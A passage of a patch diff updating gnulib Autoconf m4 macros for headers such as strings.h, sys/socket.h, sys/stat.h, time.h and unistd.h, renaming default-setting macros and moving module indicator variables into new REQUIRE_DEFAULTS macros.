+- GNULIB_STRSIGNAL=0; AC_SUBST([GNULIB_STRSIGNAL])
+- GNULIB_STRVERSCMP=0; AC_SUBST([GNULIB_STRVERSCMP])
+ HAVE_MBSLEN=0; AC_SUBST([HAVE_MBSLEN])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_MEMCCPY=1; AC_SUBST([GNULIB_MDA_MEMCCPY])
+- GNULIB_MDA_STRDUP=1; AC_SUBST([GNULIB_MDA_STRDUP])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_EXPLICIT_BZERO=1; AC_SUBST([HAVE_EXPLICIT_BZERO])
+ HAVE_FFSL=1; AC_SUBST([HAVE_FFSL])
+--- a/gnulib/m4/strings_h.m4
++++ b/gnulib/m4/strings_h.m4
+@@ -1,21 +1,16 @@
+ # Configure a replacement for <strings.h>.
+-# serial 6
++# serial 9
+
+ # Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+ # with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_HEADER_STRINGS_H],
++AC_DEFUN_ONCE([gl_STRINGS_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_STRINGS_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_STRINGS_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+
+ gl_CHECK_NEXT_HEADERS([strings.h])
+ if test $ac_cv_header_strings_h = yes; then
+@@ -35,16 +30,31 @@ AC_DEFUN([gl_HEADER_STRINGS_H_BODY],
+ ]], [ffs strcasecmp strncasecmp])
+ ])
+
++# gl_STRINGS_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STRINGS_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STRINGS_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_STRINGS_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STRINGS_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFS])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRINGS_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_STRINGS_H_DEFAULTS],
+ [
+- GNULIB_FFS=0; AC_SUBST([GNULIB_FFS])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FFS=1; AC_SUBST([HAVE_FFS])
+ HAVE_STRCASECMP=1; AC_SUBST([HAVE_STRCASECMP])
+--- a/gnulib/m4/strndup.m4
++++ b/gnulib/m4/strndup.m4
+@@ -1,4 +1,4 @@
+-# strndup.m4 serial 22
++# strndup.m4 serial 23
+ dnl Copyright (C) 2002-2003, 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_STRNDUP],
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([strndup])
+ AC_CHECK_FUNCS_ONCE([strndup])
+ if test $ac_cv_have_decl_strndup = no; then
+--- a/gnulib/m4/strnlen.m4
++++ b/gnulib/m4/strnlen.m4
+@@ -1,4 +1,4 @@
+-# strnlen.m4 serial 13
++# strnlen.m4 serial 14
+ dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRNLEN],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+
+ dnl Persuade glibc <string.h> to declare strnlen().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+--- a/gnulib/m4/strstr.m4
++++ b/gnulib/m4/strstr.m4
+@@ -1,4 +1,4 @@
+-# strstr.m4 serial 22
++# strstr.m4 serial 23
+ dnl Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl Check that strstr works.
+ AC_DEFUN([gl_FUNC_STRSTR_SIMPLE],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_FUNC_MEMCHR])
+ if test $REPLACE_MEMCHR = 1; then
+ REPLACE_STRSTR=1
+--- a/gnulib/m4/sys_socket_h.m4
++++ b/gnulib/m4/sys_socket_h.m4
+@@ -1,4 +1,4 @@
+-# sys_socket_h.m4 serial 25
++# sys_socket_h.m4 serial 28
+ dnl Copyright (C) 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ dnl From Simon Josefsson.
+
+-AC_DEFUN([gl_HEADER_SYS_SOCKET],
++AC_DEFUN_ONCE([gl_SYS_SOCKET_H],
+ [
+ AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
+ AC_REQUIRE([AC_CANONICAL_HOST])
+@@ -156,32 +156,47 @@ AC_DEFUN([gl_PREREQ_SYS_H_WS2TCPIP],
+ AC_SUBST([HAVE_WS2TCPIP_H])
+ ])
+
++# gl_SYS_SOCKET_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_SYS_SOCKET_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_SYS_SOCKET_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_SOCKET_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SOCKET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CONNECT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BIND])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPEERNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSOCKOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LISTEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SEND])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RECVFROM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SENDTO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETSOCKOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SHUTDOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCEPT4])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_SOCKET_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_SOCKET_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_SOCKET_H_DEFAULTS],
+ [
+- GNULIB_SOCKET=0; AC_SUBST([GNULIB_SOCKET])
+- GNULIB_CONNECT=0; AC_SUBST([GNULIB_CONNECT])
+- GNULIB_ACCEPT=0; AC_SUBST([GNULIB_ACCEPT])
+- GNULIB_BIND=0; AC_SUBST([GNULIB_BIND])
+- GNULIB_GETPEERNAME=0; AC_SUBST([GNULIB_GETPEERNAME])
+- GNULIB_GETSOCKNAME=0; AC_SUBST([GNULIB_GETSOCKNAME])
+- GNULIB_GETSOCKOPT=0; AC_SUBST([GNULIB_GETSOCKOPT])
+- GNULIB_LISTEN=0; AC_SUBST([GNULIB_LISTEN])
+- GNULIB_RECV=0; AC_SUBST([GNULIB_RECV])
+- GNULIB_SEND=0; AC_SUBST([GNULIB_SEND])
+- GNULIB_RECVFROM=0; AC_SUBST([GNULIB_RECVFROM])
+- GNULIB_SENDTO=0; AC_SUBST([GNULIB_SENDTO])
+- GNULIB_SETSOCKOPT=0; AC_SUBST([GNULIB_SETSOCKOPT])
+- GNULIB_SHUTDOWN=0; AC_SUBST([GNULIB_SHUTDOWN])
+- GNULIB_ACCEPT4=0; AC_SUBST([GNULIB_ACCEPT4])
+ HAVE_STRUCT_SOCKADDR_STORAGE=1; AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE])
+ HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY=1;
+ AC_SUBST([HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY])
+--- a/gnulib/m4/sys_stat_h.m4
++++ b/gnulib/m4/sys_stat_h.m4
+@@ -1,4 +1,4 @@
+-# sys_stat_h.m4 serial 38 -*- Autoconf -*-
++# sys_stat_h.m4 serial 41 -*- Autoconf -*-
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl From Eric Blake.
+ dnl Provide a GNU-like <sys/stat.h>.
+
+-AC_DEFUN([gl_HEADER_SYS_STAT_H],
++AC_DEFUN_ONCE([gl_SYS_STAT_H],
+ [
+ AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
+
+@@ -52,38 +52,53 @@ AC_DEFUN([gl_HEADER_SYS_STAT_H],
+ AC_REQUIRE([AC_C_RESTRICT])
+ ])
+
++# gl_SYS_STAT_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_SYS_STAT_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_SYS_STAT_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_STAT_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_UNISTD_H_REQUIRE_DEFAULTS dnl for REPLACE_FCHDIR
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHMODAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSTATAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FUTIMENS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUMASK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHMOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSTAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDIRAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKFIFOAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKNODAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UTIMENSAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OVERRIDES_STRUCT_STAT])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHMOD], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UMASK], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_STAT_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_STAT_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_STAT_H_DEFAULTS],
+ [
+- AC_REQUIRE([gl_UNISTD_H_DEFAULTS]) dnl for REPLACE_FCHDIR
+- GNULIB_FCHMODAT=0; AC_SUBST([GNULIB_FCHMODAT])
+- GNULIB_FSTAT=0; AC_SUBST([GNULIB_FSTAT])
+- GNULIB_FSTATAT=0; AC_SUBST([GNULIB_FSTATAT])
+- GNULIB_FUTIMENS=0; AC_SUBST([GNULIB_FUTIMENS])
+- GNULIB_GETUMASK=0; AC_SUBST([GNULIB_GETUMASK])
+- GNULIB_LCHMOD=0; AC_SUBST([GNULIB_LCHMOD])
+- GNULIB_LSTAT=0; AC_SUBST([GNULIB_LSTAT])
+- GNULIB_MKDIR=0; AC_SUBST([GNULIB_MKDIR])
+- GNULIB_MKDIRAT=0; AC_SUBST([GNULIB_MKDIRAT])
+- GNULIB_MKFIFO=0; AC_SUBST([GNULIB_MKFIFO])
+- GNULIB_MKFIFOAT=0; AC_SUBST([GNULIB_MKFIFOAT])
+- GNULIB_MKNOD=0; AC_SUBST([GNULIB_MKNOD])
+- GNULIB_MKNODAT=0; AC_SUBST([GNULIB_MKNODAT])
+- GNULIB_STAT=0; AC_SUBST([GNULIB_STAT])
+- GNULIB_UTIMENSAT=0; AC_SUBST([GNULIB_UTIMENSAT])
+- GNULIB_OVERRIDES_STRUCT_STAT=0; AC_SUBST([GNULIB_OVERRIDES_STRUCT_STAT])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_CHMOD=1; AC_SUBST([GNULIB_MDA_CHMOD])
+- GNULIB_MDA_MKDIR=1; AC_SUBST([GNULIB_MDA_MKDIR])
+- GNULIB_MDA_UMASK=1; AC_SUBST([GNULIB_MDA_UMASK])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FCHMODAT=1; AC_SUBST([HAVE_FCHMODAT])
+ HAVE_FSTATAT=1; AC_SUBST([HAVE_FSTATAT])
+--- a/gnulib/m4/sys_types_h.m4
++++ b/gnulib/m4/sys_types_h.m4
+@@ -1,4 +1,4 @@
+-# sys_types_h.m4 serial 11
++# sys_types_h.m4 serial 13
+ dnl Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,10 +6,11 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN_ONCE([gl_SYS_TYPES_H],
+ [
++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
++
+ dnl Use sane struct stat types in OpenVMS 8.2 and later.
+ AC_DEFINE([_USE_STD_STAT], 1, [For standard stat data types on VMS.])
+
+- AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
+ gl_NEXT_HEADERS([sys/types.h])
+
+ dnl Ensure the type pid_t gets defined.
+@@ -30,6 +31,17 @@ AC_DEFUN_ONCE([gl_SYS_TYPES_H],
+ AC_SUBST([WINDOWS_STAT_INODES])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_SYS_TYPES_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS], [
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_SYS_TYPE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_SYS_TYPES_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_SYS_TYPES_H_DEFAULTS],
+ [
+ ])
+--- a/gnulib/m4/time_h.m4
++++ b/gnulib/m4/time_h.m4
+@@ -2,7 +2,7 @@
+
+ # Copyright (C) 2000-2001, 2003-2007, 2009-2021 Free Software Foundation, Inc.
+
+-# serial 15
++# serial 18
+
+ # This file is free software; the Free Software Foundation
+ # gives unlimited permission to copy and/or distribute it,
+@@ -10,16 +10,11 @@
+
+ # Written by Paul Eggert and Jim Meyering.
+
+-AC_DEFUN([gl_HEADER_TIME_H],
++AC_DEFUN_ONCE([gl_TIME_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_TIME_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_TIME_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_TIME_H_DEFAULTS])
+
+ gl_NEXT_HEADERS([time.h])
+ AC_REQUIRE([gl_CHECK_TYPE_STRUCT_TIMESPEC])
+@@ -111,30 +106,45 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_TIMESPEC]
+ AC_SUBST([UNISTD_H_DEFINES_STRUCT_TIMESPEC])
+ ])
+
++# gl_TIME_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_TIME_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_TIME_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_TIME_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_TIME_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_TIME_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LOCALTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NANOSLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRFTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPTIME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMEGM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIMESPEC_GET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TIME_RZ])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TZSET])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TZSET], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_TIME_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_TIME_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_TIME_H_DEFAULTS],
+ [
+- GNULIB_CTIME=0; AC_SUBST([GNULIB_CTIME])
+- GNULIB_MKTIME=0; AC_SUBST([GNULIB_MKTIME])
+- GNULIB_LOCALTIME=0; AC_SUBST([GNULIB_LOCALTIME])
+- GNULIB_NANOSLEEP=0; AC_SUBST([GNULIB_NANOSLEEP])
+- GNULIB_STRFTIME=0; AC_SUBST([GNULIB_STRFTIME])
+- GNULIB_STRPTIME=0; AC_SUBST([GNULIB_STRPTIME])
+- GNULIB_TIMEGM=0; AC_SUBST([GNULIB_TIMEGM])
+- GNULIB_TIMESPEC_GET=0; AC_SUBST([GNULIB_TIMESPEC_GET])
+- GNULIB_TIME_R=0; AC_SUBST([GNULIB_TIME_R])
+- GNULIB_TIME_RZ=0; AC_SUBST([GNULIB_TIME_RZ])
+- GNULIB_TZSET=0; AC_SUBST([GNULIB_TZSET])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_TZSET=1; AC_SUBST([GNULIB_MDA_TZSET])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_LOCALTIME_R=1; AC_SUBST([HAVE_DECL_LOCALTIME_R])
+ HAVE_NANOSLEEP=1; AC_SUBST([HAVE_NANOSLEEP])
+--- a/gnulib/m4/unistd_h.m4
++++ b/gnulib/m4/unistd_h.m4
+@@ -1,4 +1,4 @@
+-# unistd_h.m4 serial 85
++# unistd_h.m4 serial 89
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,10 +6,10 @@ dnl with or without modifications, as lo
+
+ dnl Written by Simon Josefsson, Bruno Haible.
+
+-AC_DEFUN([gl_UNISTD_H],
++AC_DEFUN_ONCE([gl_UNISTD_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
+ AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
+
+ gl_CHECK_NEXT_HEADERS([unistd.h])
+@@ -59,100 +59,116 @@ AC_DEFUN([gl_UNISTD_H],
+ fi
+ ])
+
++# gl_UNISTD_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_UNISTD_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_UNISTD_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_UNISTD_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ACCESS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CHOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_COPY_FILE_RANGE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP2])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DUP3])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ENVIRON])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EUIDACCESS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECLP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXECVPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FACCESSAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCHOWNAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDATASYNC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSYNC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTRUNCATE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCWD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDOMAINNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDTABLESIZE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETENTROPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETGROUPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETHOSTNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOGIN_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETOPT_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPAGESIZE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETPASS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETUSERSHELL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GROUP_MEMBER])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISATTY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LCHOWN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_LSEEK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PIPE2])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PREAD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PWRITE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READ])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_READLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RMDIR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETHOSTNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINK])
